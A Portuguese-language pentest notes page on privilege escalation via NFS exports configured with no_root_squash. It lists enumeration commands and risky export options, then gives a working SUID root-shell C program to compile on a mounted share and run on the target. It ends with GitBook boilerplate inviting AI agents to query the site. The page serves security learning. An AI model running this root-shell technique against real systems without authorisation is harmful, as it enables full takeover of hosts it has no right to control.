> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/privesc/nfs-shares.md).

# Compartilhamentos NFS

Exportações NFS mal configuradas podem permitir escalada local de privilégios quando um compartilhamento gravável é exportado com opções perigosas, como `no_root_squash`. Nesse caso, o root na máquina do atacante pode criar arquivos no compartilhamento que mantêm a propriedade de root quando acessados a partir do alvo.

## Metodologia

* Enumere as exportações NFS a partir do alvo e da máquina do atacante.
* Procure compartilhamentos graváveis e opções perigosas de exportação, como `no_root_squash`  ou `no_all_squash`.
* Monte o compartilhamento a partir de uma máquina atacante e crie a menor prova de conceito SUID necessária para validar o impacto.

## Verificações rápidas

No alvo:

```bash
cat /etc/exports
showmount -e localhost
grep no_root_squash /etc/exports
```

A partir de uma máquina atacante:

```bash
showmount -e target_ip
```

## Opções de exportação perigosas

| Opção                         | Risco                                                                                      |
| ----------------------------- | ------------------------------------------------------------------------------------------ |
| `no_root_squash`              | O root remoto pode manter a propriedade de root nos arquivos criados dentro da exportação. |
| `rw`                          | Permite gravar no compartilhamento exportado.                                              |
| `no_all_squash`               | Os usuários podem manter o mapeamento original de UID/GID.                                 |
| Intervalos amplos de clientes | Mais hosts podem montar e interagir com a exportação.                                      |

## Padrão de exploração

Na máquina atacante:

```bash
mkdir /tmp/nfs
mount -t nfs target_ip:/shared/folder /tmp/nfs
cd /tmp/nfs
cat > privesc.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    return 0;
}
EOF
gcc privesc.c -o privesc
chmod +s privesc
```

No alvo:

```bash
/shared/folder/privesc
```

## Notas de validação

```bash
ls -la /shared/folder/privesc
id
```

Se o binário não pertencer ao root ou o bit SUID não se mantiver, provavelmente a exportação está descartando o root ou foi montada com opções restritivas.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/privesc/nfs-shares.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
